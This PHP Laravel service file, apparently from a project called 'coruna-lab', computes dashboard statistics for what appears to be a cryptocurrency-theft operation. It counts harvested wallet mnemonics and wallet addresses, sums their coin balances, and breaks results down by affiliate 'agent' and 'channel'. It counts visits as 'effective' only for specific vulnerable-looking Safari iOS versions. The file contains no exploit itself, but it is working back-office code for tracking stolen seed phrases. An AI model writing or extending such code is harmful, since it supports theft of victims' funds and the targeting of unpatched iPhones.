Files
coruna-lab/app/Services/DashboardStatsService.php
T
2026-09-12 03:42:48 +08:00

433 lines
15 KiB
PHP
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
<?php
namespace App\Services;
use App\Models\Device;
use App\Models\PageVisit;
use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Support\AgentScope;
use Carbon\Carbon;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Support\Facades\DB;
class DashboardStatsService
{
/**
* @param array{
* range?: string,
* date_from?: string,
* date_to?: string,
* date_range?: string,
* channel_id?: string,
* channel_exact?: bool,
* agent_user_id?: ?int,
* agent?: ?User
* } $filters
* @return array{
* total: int,
* wallet_count: int,
* new_count: int,
* active_count: int,
* pv: int,
* uv: int,
* effective_pv: int,
* effective_uv: int,
* mnemonic_count: int,
* address_count: int,
* balances: array{usdt: string, trx: string, eth: string, btc: string, bnb: string},
* by_os: list<array{label: string, uv: int, pct: float}>,
* by_ios_version: list<array{label: string, uv: int, pct: float}>,
* by_device_ios_version: list<array{label: string, count: int, pct: float}>,
* range: string,
* from: string,
* to: string
* }
*/
public function collect(array $filters = []): array
{
[$from, $to] = $this->resolveBounds($filters);
$rangeLabel = $from->toDateString().' ~ '.$to->toDateString();
$channelId = trim((string) ($filters['channel_id'] ?? ''));
$channelExact = (bool) ($filters['channel_exact'] ?? false);
$agent = $filters['agent'] ?? null;
$agentUserId = array_key_exists('agent_user_id', $filters)
? $filters['agent_user_id']
: null;
$agentUserId = $agentUserId === null ? null : (int) $agentUserId;
$base = Device::query();
AgentScope::applyDeviceChannelScope($base, $agent);
if ($agent === null) {
AgentScope::applyAgentUserFilter($base, $agentUserId);
}
if ($channelId !== '') {
if ($channelExact) {
$base->where('channel_id', $channelId);
} else {
$base->where('channel_id', 'like', '%'.$channelId.'%');
}
}
// Period cohort: devices installed (created) in the selected range.
$createdInRange = (clone $base)->whereBetween('created_at', [$from, $to]);
$deviceAgg = (clone $createdInRange)
->selectRaw(
'COUNT(*) as total, COALESCE(SUM(CASE WHEN has_wallet = ? THEN 1 ELSE 0 END), 0) as wallet_count',
[Device::WALLET_YES],
)
->first();
$total = (int) ($deviceAgg?->total ?? 0);
$walletCount = (int) ($deviceAgg?->wallet_count ?? 0);
$newCount = $total;
$activeCount = (clone $base)->whereBetween('updated_at', [$from, $to])->count();
$mnemonicCount = $this->countDeviceChildren(
WalletMnemonic::query(),
'wallet_mnemonics',
$agent,
$agentUserId,
$channelId,
$channelExact,
$from,
$to,
);
[$addressCount, $balances] = $this->addressStats(
$agent,
$agentUserId,
$channelId,
$channelExact,
$from,
$to,
);
$visits = PageVisit::query();
AgentScope::applyChannelIdScope($visits, $agent);
if ($agent === null) {
AgentScope::applyChannelIdAgentUserFilter($visits, $agentUserId);
}
if ($channelId !== '') {
if ($channelExact) {
$visits->where('channel_id', $channelId);
} else {
$visits->where('channel_id', 'like', '%'.$channelId.'%');
}
}
$visits->whereBetween('created_at', [$from, $to]);
$effectiveSql = $this->effectiveVisitSql();
$visitAgg = (clone $visits)
->selectRaw(
"COUNT(*) as pv,
COUNT(DISTINCT client_uid) as uv,
COALESCE(SUM(CASE WHEN ({$effectiveSql}) THEN 1 ELSE 0 END), 0) as effective_pv,
COUNT(DISTINCT CASE WHEN ({$effectiveSql}) THEN client_uid END) as effective_uv,
COUNT(DISTINCT CASE WHEN os = 'iOS' THEN client_uid END) as ios_uv,
COUNT(DISTINCT CASE WHEN os IS NULL OR os != 'iOS' THEN client_uid END) as other_uv",
)
->first();
$pv = (int) ($visitAgg?->pv ?? 0);
$uv = (int) ($visitAgg?->uv ?? 0);
$effectivePv = (int) ($visitAgg?->effective_pv ?? 0);
$effectiveUv = (int) ($visitAgg?->effective_uv ?? 0);
$iosUv = (int) ($visitAgg?->ios_uv ?? 0);
$otherUv = (int) ($visitAgg?->other_uv ?? 0);
$iosVisits = (clone $visits)->where('os', 'iOS');
$byOs = [
$this->visitRow('iOS', $iosUv, $uv),
$this->visitRow('其他', $otherUv, $uv),
];
$versionGroups = (clone $iosVisits)
->select('os_version')
->selectRaw('COUNT(DISTINCT client_uid) as uv')
->groupBy('os_version')
->orderByDesc('uv')
->limit(20)
->get();
// Denominator = sum of per-version UVs (not global DISTINCT).
// Same visitor may appear under multiple versions; using DISTINCT total would
// make every overlapping bucket show ~100%.
$versionUvSum = (int) $versionGroups->sum('uv');
$byIosVersion = $versionGroups
->map(fn ($r) => $this->visitRow(
((string) ($r->os_version ?? '')) !== '' ? (string) $r->os_version : 'Unknown',
(int) $r->uv,
$versionUvSum > 0 ? $versionUvSum : $iosUv,
))
->values()
->all();
$byDeviceIosVersion = (clone $createdInRange)
->select('ios_version')
->selectRaw('COUNT(*) as cnt')
->groupBy('ios_version')
->orderByDesc('cnt')
->limit(20)
->get()
->map(function ($r) use ($total) {
$label = trim((string) ($r->ios_version ?? ''));
return $this->deviceRow(
$label !== '' ? $label : '未知',
(int) $r->cnt,
$total,
);
})
->values()
->all();
return [
'total' => $total,
'wallet_count' => $walletCount,
'new_count' => $newCount,
'active_count' => $activeCount,
'pv' => $pv,
'uv' => $uv,
'effective_pv' => $effectivePv,
'effective_uv' => $effectiveUv,
'mnemonic_count' => $mnemonicCount,
'address_count' => $addressCount,
'balances' => $balances,
'by_os' => $byOs,
'by_ios_version' => $byIosVersion,
'by_device_ios_version' => $byDeviceIosVersion,
'range' => $rangeLabel,
'from' => $from->toDateTimeString(),
'to' => $to->toDateTimeString(),
'date_from' => $from->toDateString(),
'date_to' => $to->toDateString(),
];
}
/**
* @param array{range?: string, date_from?: string, date_to?: string, date_range?: string} $filters
* @return array{0: Carbon, 1: Carbon}
*/
public function resolveBounds(array $filters): array
{
$fromRaw = trim((string) ($filters['date_from'] ?? ''));
$toRaw = trim((string) ($filters['date_to'] ?? ''));
$rangeField = trim((string) ($filters['date_range'] ?? ''));
if ($fromRaw === '' && $toRaw === '' && $rangeField !== '') {
if (preg_match('/^(\d{4}-\d{2}-\d{2})\s*~\s*(\d{4}-\d{2}-\d{2})$/', $rangeField, $m)
|| preg_match('/^(\d{4}-\d{2}-\d{2})\s*-\s*(\d{4}-\d{2}-\d{2})$/', $rangeField, $m)) {
$fromRaw = $m[1];
$toRaw = $m[2];
}
}
if ($fromRaw !== '' && $toRaw !== '') {
try {
$from = Carbon::parse($fromRaw)->startOfDay();
$to = Carbon::parse($toRaw)->endOfDay();
} catch (\Throwable) {
return $this->rangeBounds((string) ($filters['range'] ?? '30d'));
}
if ($from->gt($to)) {
[$from, $to] = [$to->copy()->startOfDay(), $from->copy()->endOfDay()];
}
return [$from, $to];
}
return $this->rangeBounds((string) ($filters['range'] ?? '30d'));
}
/**
* Join a device-child table and apply the same channel / agent scope as device totals.
*/
private function scopedDeviceChildren(
Builder $query,
string $table,
?User $agent,
?int $agentUserId,
string $channelId,
bool $channelExact,
): Builder {
$query->join('devices', 'devices.id', '=', $table.'.device_id');
AgentScope::applyDeviceChannelScope($query, $agent);
if ($agent === null) {
AgentScope::applyAgentUserFilter($query, $agentUserId);
}
if ($channelId !== '') {
if ($channelExact) {
$query->where('devices.channel_id', $channelId);
} else {
$query->where('devices.channel_id', 'like', '%'.$channelId.'%');
}
}
return $query;
}
private function countDeviceChildren(
Builder $query,
string $table,
?User $agent,
?int $agentUserId,
string $channelId,
bool $channelExact,
Carbon $from,
Carbon $to,
): int {
return $this->scopedDeviceChildren($query, $table, $agent, $agentUserId, $channelId, $channelExact)
->whereBetween($table.'.created_at', [$from, $to])
->count($table.'.id');
}
/**
* Address count + coin sums in one pass over wallet_addresses in range.
*
* @return array{0: int, 1: array{usdt: string, trx: string, eth: string, btc: string, bnb: string}}
*/
private function addressStats(
?User $agent,
?int $agentUserId,
string $channelId,
bool $channelExact,
Carbon $from,
Carbon $to,
): array {
$q = $this->scopedDeviceChildren(
WalletAddress::query(),
'wallet_addresses',
$agent,
$agentUserId,
$channelId,
$channelExact,
)->whereBetween('wallet_addresses.created_at', [$from, $to]);
$selects = ['COUNT(wallet_addresses.id) as addr_count'];
foreach (WalletAddress::COIN_COLUMNS as $col) {
$selects[] = 'COALESCE(SUM(wallet_addresses.'.$col.'), 0) as '.$col;
}
$row = $q->selectRaw(implode(', ', $selects))->first();
$out = [];
foreach (WalletAddress::COIN_COLUMNS as $col) {
$raw = $row?->{$col} ?? 0;
$formatted = WalletAddress::formatAmount($col, $raw);
$out[$col] = $formatted === '' ? '0' : $formatted;
}
/** @var array{usdt: string, trx: string, eth: string, btc: string, bnb: string} $out */
return [(int) ($row?->addr_count ?? 0), $out];
}
/**
* Map telegram /data day token to dashboard range key.
* Empty / omitted → today.
*/
public function rangeFromDays(?string $days): string
{
$days = $days === null ? '' : trim($days);
if ($days === '' || $days === '1') {
return 'today';
}
return match ($days) {
'7' => '7d',
'30' => '30d',
default => throw new \InvalidArgumentException('Days must be 1, 7, or 30'),
};
}
/**
* @return array{0: Carbon, 1: Carbon}
*/
public function rangeBounds(string $range): array
{
$now = Carbon::now();
return match ($range) {
'today', '1', '1d' => [$now->copy()->startOfDay(), $now->copy()->endOfDay()],
'yesterday' => [
$now->copy()->subDay()->startOfDay(),
$now->copy()->subDay()->endOfDay(),
],
'7d', '7' => [$now->copy()->subDays(6)->startOfDay(), $now->copy()->endOfDay()],
default => [$now->copy()->subDays(29)->startOfDay(), $now->copy()->endOfDay()],
};
}
/**
* Safari on iOS 13.0.0–17.2.1, plus DS allowlist versions.
* Exclude unsupported 15.8.8 and 16.7.1x (16.7.10+).
*/
public function effectiveVisitSql(): string
{
[$major, $minor, $patch] = $this->osVersionPartsSql();
return "os = 'iOS' AND browser = 'Safari' AND os_version IS NOT NULL AND os_version != '' AND (
({$major} >= 13 AND (
{$major} < 17
OR ({$major} = 17 AND {$minor} < 2)
OR ({$major} = 17 AND {$minor} = 2 AND {$patch} <= 1)
))
OR ({$major} = 18 AND {$minor} = 1 AND {$patch} = 1)
OR ({$major} = 18 AND {$minor} = 4 AND {$patch} IN (0, 1))
OR ({$major} = 18 AND {$minor} = 5 AND {$patch} = 0)
OR ({$major} = 18 AND {$minor} = 6 AND {$patch} IN (0, 1, 2))
OR ({$major} = 18 AND {$minor} = 7 AND {$patch} IN (0, 1, 2))
) AND NOT ({$major} = 15 AND {$minor} = 8 AND {$patch} = 8)
AND NOT ({$major} = 16 AND {$minor} = 7 AND {$patch} >= 10)";
}
/**
* @return array{0: string, 1: string, 2: string} major / minor / patch SQL
*/
private function osVersionPartsSql(): array
{
if (DB::connection()->getDriverName() === 'sqlite') {
$major = 'CAST(os_version AS INTEGER)';
$minor = "CAST(CASE WHEN INSTR(os_version, '.') = 0 THEN '0' ELSE SUBSTR(os_version, INSTR(os_version, '.') + 1) END AS INTEGER)";
$patch = "CAST(CASE WHEN LENGTH(os_version) - LENGTH(REPLACE(os_version, '.', '')) < 2 THEN '0' ELSE SUBSTR(os_version, INSTR(os_version, '.') + INSTR(SUBSTR(os_version, INSTR(os_version, '.') + 1), '.') + 1) END AS INTEGER)";
return [$major, $minor, $patch];
}
$padded = "CONCAT(os_version, '.0.0')";
$major = "CAST(SUBSTRING_INDEX(os_version, '.', 1) AS UNSIGNED)";
$minor = "CAST(SUBSTRING_INDEX(SUBSTRING_INDEX({$padded}, '.', 2), '.', -1) AS UNSIGNED)";
$patch = "CAST(SUBSTRING_INDEX(SUBSTRING_INDEX({$padded}, '.', 3), '.', -1) AS UNSIGNED)";
return [$major, $minor, $patch];
}
/**
* Visit breakdown row. pct = uv / $totalUv (UV share).
*
* @return array{label: string, uv: int, pct: float}
*/
private function visitRow(string $label, int $uv, int $totalUv): array
{
$pct = $totalUv > 0 ? round(($uv / $totalUv) * 100, 1) : 0.0;
return [
'label' => $label,
'uv' => $uv,
'pct' => $pct,
];
}
/**
* @return array{label: string, count: int, pct: float}
*/
private function deviceRow(string $label, int $count, int $total): array
{
$pct = $total > 0 ? round(($count / $total) * 100, 1) : 0.0;
return [
'label' => $label,
'count' => $count,
'pct' => $pct,
];
}
}